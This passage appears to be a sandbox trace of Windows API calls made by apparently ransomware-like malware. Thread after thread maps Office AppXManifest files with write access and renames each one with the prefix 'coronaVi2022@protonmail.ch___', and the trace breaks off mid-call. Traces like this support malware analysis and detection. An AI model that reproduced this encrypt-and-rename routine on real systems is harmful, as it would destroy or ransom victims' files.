	[0086.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0086.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4
	[0086.767] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x369ff5c | out: lpFileSize=0x369ff5c*=1261) returned 1
	[0086.768] CreateFileMappingA (hFile=0x6e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x6e8
	[0086.768] MapViewOfFile (hFileMappingObject=0x6e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0086.813] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0086.813] CloseHandle (hObject=0x6e8) returned 1
	[0086.813] GetCurrentThreadId () returned 0x1498
	[0086.813] FlushFileBuffers (hFile=0x6e4) returned 1
	[0086.903] CloseHandle (hObject=0x6e4) returned 1
	[0086.905] _swprintf (in: param_1=0x3699f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 133
	[0086.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0086.906] free (_Block=0x2fc6a38) 
	[0086.906] RtlExitUserThread (Status=0x0) 

Thread:
	id = 263
	os_tid = 0x149c

	[0086.816] _alloca_probe () returned 0x40328a
	[0086.816] GetCurrentThreadId () returned 0x149c
	[0086.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0086.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec
	[0086.817] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x39bff5c | out: lpFileSize=0x39bff5c*=496513) returned 1
	[0086.817] CreateFileMappingA (hFile=0x6ec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79381, lpName=0x0) returned 0x6f0
	[0086.817] MapViewOfFile (hFileMappingObject=0x6f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x39c0000
	[0086.983] UnmapViewOfFile (lpBaseAddress=0x39c0000) returned 1
	[0086.989] CloseHandle (hObject=0x6f0) returned 1
	[0086.989] GetCurrentThreadId () returned 0x149c
	[0086.989] FlushFileBuffers (hFile=0x6ec) returned 1
	[0087.140] CloseHandle (hObject=0x6ec) returned 1
	[0087.150] _swprintf (in: param_1=0x39b9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 133
	[0087.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.152] free (_Block=0x2fc8c68) 
	[0087.152] RtlExitUserThread (Status=0x0) 

Thread:
	id = 264
	os_tid = 0x14a0

	[0086.942] _alloca_probe () returned 0x40328a
	[0086.943] GetCurrentThreadId () returned 0x14a0
	[0086.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0086.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0086.988] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x369ff5c | out: lpFileSize=0x369ff5c*=1261) returned 1
	[0086.988] CreateFileMappingA (hFile=0x6e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x6f4
	[0086.988] MapViewOfFile (hFileMappingObject=0x6f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3510000
	[0086.997] UnmapViewOfFile (lpBaseAddress=0x3510000) returned 1
	[0086.997] CloseHandle (hObject=0x6f4) returned 1
	[0086.997] GetCurrentThreadId () returned 0x14a0
	[0086.997] FlushFileBuffers (hFile=0x6e0) returned 1
	[0087.000] CloseHandle (hObject=0x6e0) returned 1
	[0087.001] _swprintf (in: param_1=0x3699f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 133
	[0087.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0087.002] free (_Block=0x2fc9e90) 
	[0087.002] RtlExitUserThread (Status=0x0) 

Thread:
	id = 265
	os_tid = 0x14a4

	[0087.206] _alloca_probe () returned 0x40328a
	[0087.207] GetCurrentThreadId () returned 0x14a4
	[0087.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8
	[0087.209] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x3abff5c | out: lpFileSize=0x3abff5c*=253712) returned 1
	[0087.210] CreateFileMappingA (hFile=0x6d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3df10, lpName=0x0) returned 0x6cc
	[0087.210] MapViewOfFile (hFileMappingObject=0x6cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0087.257] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0087.259] CloseHandle (hObject=0x6cc) returned 1
	[0087.259] GetCurrentThreadId () returned 0x14a4
	[0087.259] FlushFileBuffers (hFile=0x6d8) returned 1
	[0087.267] CloseHandle (hObject=0x6d8) returned 1
	[0087.274] _swprintf (in: param_1=0x3ab9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 133
	[0087.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.275] free (_Block=0x2fc6a38) 
	[0087.275] RtlExitUserThread (Status=0x0) 

Thread:
	id = 266
	os_tid = 0x14a8

	[0087.264] _alloca_probe () returned 0x40328a
	[0087.265] GetCurrentThreadId () returned 0x14a8
	[0087.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0087.266] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0087.266] CreateFileMappingA (hFile=0x6cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x6b0
	[0087.267] MapViewOfFile (hFileMappingObject=0x6b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0087.276] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0087.276] CloseHandle (hObject=0x6b0) returned 1
	[0087.276] GetCurrentThreadId () returned 0x14a8
	[0087.276] FlushFileBuffers (hFile=0x6cc) returned 1
	[0087.279] CloseHandle (hObject=0x6cc) returned 1
	[0087.281] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 133
	[0087.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0087.282] free (_Block=0x2fc4a28) 
	[0087.282] RtlExitUserThread (Status=0x0) 

Thread:
	id = 267
	os_tid = 0x14ac

	[0087.284] _alloca_probe () returned 0x40328a
	[0087.285] GetCurrentThreadId () returned 0x14ac
	[0087.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0
	[0087.285] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=1124942) returned 1
	[0087.285] CreateFileMappingA (hFile=0x6b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x112a5b, lpName=0x0) returned 0x6d8
	[0087.285] MapViewOfFile (hFileMappingObject=0x6d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3190000
	[0087.562] UnmapViewOfFile (lpBaseAddress=0x3190000) returned 1
	[0087.573] CloseHandle (hObject=0x6d8) returned 1
	[0087.573] GetCurrentThreadId () returned 0x14ac
	[0087.573] FlushFileBuffers (hFile=0x6b0) returned 1
	[0087.817] CloseHandle (hObject=0x6b0) returned 1
	[0087.847] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 133
	[0087.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.848] free (_Block=0x2fc0a08) 
	[0087.848] RtlExitUserThread (Status=0x0) 

Thread:
	id = 268
	os_tid = 0x14b0

	[0087.299] _alloca_probe () returned 0x40328a
	[0087.300] GetCurrentThreadId () returned 0x14b0
	[0087.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0087.312] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x33aff5c | out: lpFileSize=0x33aff5c*=19451) returned 1
	[0087.312] CreateFileMappingA (hFile=0x6e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c05, lpName=0x0) returned 0x6f4
	[0087.312] MapViewOfFile (hFileMappingObject=0x6f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x33b0000
	[0087.338] UnmapViewOfFile (lpBaseAddress=0x33b0000) returned 1
	[0087.339] CloseHandle (hObject=0x6f4) returned 1
	[0087.339] GetCurrentThreadId () returned 0x14b0
	[0087.339] FlushFileBuffers (hFile=0x6e0) returned 1
	[0087.388] CloseHandle (hObject=0x6e0) returned 1
	[0087.391] _swprintf (in: param_1=0x33a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 133
	[0087.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0087.392] free (_Block=0x2fc1a10) 
	[0087.392] RtlExitUserThread (Status=0x0) 

Thread:
	id = 269
	os_tid = 0x14b4

	[0087.595] _alloca_probe () returned 0x40328a
	[0087.595] GetCurrentThreadId () returned 0x14b4
	[0087.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0087.597] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=763363) returned 1
	[0087.597] CreateFileMappingA (hFile=0x6e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba5e5, lpName=0x0) returned 0x6f4
	[0087.597] MapViewOfFile (hFileMappingObject=0x6f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0087.732] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0087.739] CloseHandle (hObject=0x6f4) returned 1
	[0087.739] GetCurrentThreadId () returned 0x14b4
	[0087.739] FlushFileBuffers (hFile=0x6e0) returned 1
	[0087.785] CloseHandle (hObject=0x6e0) returned 1
	[0087.801] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 133
	[0087.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.802] free (_Block=0x2fc1a10) 
	[0087.802] RtlExitUserThread (Status=0x0) 

Thread:
	id = 270
	os_tid = 0x14b8

	[0087.885] _alloca_probe () returned 0x40328a
	[0087.885] GetCurrentThreadId () returned 0x14b8
	[0087.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0087.886] GetFileSizeEx (in: hFile=0x6e0, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=1261) returned 1
	[0087.886] CreateFileMappingA (hFile=0x6e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x6f4
	[0087.886] MapViewOfFile (hFileMappingObject=0x6f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0087.887] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0087.887] CloseHandle (hObject=0x6f4) returned 1
	[0087.887] GetCurrentThreadId () returned 0x14b8
	[0087.887] FlushFileBuffers (hFile=0x6e0) returned 1
	[0087.891] CloseHandle (hObject=0x6e0) returned 1
	[0087.894] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 133
	[0087.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0087.894] free (_Block=0x2fc0a08) 
	[0087.894] RtlExitUserThread (Status=0x0) 

Thread:
	id = 271
	os_tid = 0x14bc

	[0087.890] _alloca_probe () returned 0x40328a
	[0087.890] GetCurrentThreadId () returned 0x14bc
	[0087.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0087.891] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0087.891] CreateFileMappingA (hFile=0x6f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x6f8
	[0087.891] MapViewOfFile (hFileMappingObject=0x6f8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0087.895] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0087.895] CloseHandle (hObject=0x6f8) returned 1
	[0087.895] GetCurrentThreadId () returned 0x14bc
	[0087.895] FlushFileBuffers (hFile=0x6f0) returned 1
	[0087.897] CloseHandle (hObject=0x6f0) returned 1
	[0087.899] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 133
	[0087.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0087.899] free (_Block=0x2fc1a10) 
	[0087.899] RtlExitUserThread (Status=0x0) 

Thread:
	id = 272
	os_tid = 0x14c0

	[0087.914] _alloca_probe () returned 0x40328a
	[0087.915] GetCurrentThreadId () returned 0x14c0
	[0087.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0087.915] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=2147) returned 1
	[0087.916] CreateFileMappingA (hFile=0x6f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x865, lpName=0x0) returned 0x6e0
	[0087.916] MapViewOfFile (hFileMappingObject=0x6e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0087.917] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0087.917] CloseHandle (hObject=0x6e0) returned 1
	[0087.917] GetCurrentThreadId () returned 0x14c0
	[0087.917] FlushFileBuffers (hFile=0x6f8) returned 1
	[0087.921] CloseHandle (hObject=0x6f8) returned 1
	[0087.923] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 133
	[0087.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0087.924] free (_Block=0x2fc0a08) 
	[0087.924] RtlExitUserThread (Status=0x0) 

Thread:
	id = 273
	os_tid = 0x14c8

	[0087.919] _alloca_probe () returned 0x40328a
	[0087.920] GetCurrentThreadId () returned 0x14c8
	[0087.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6fc
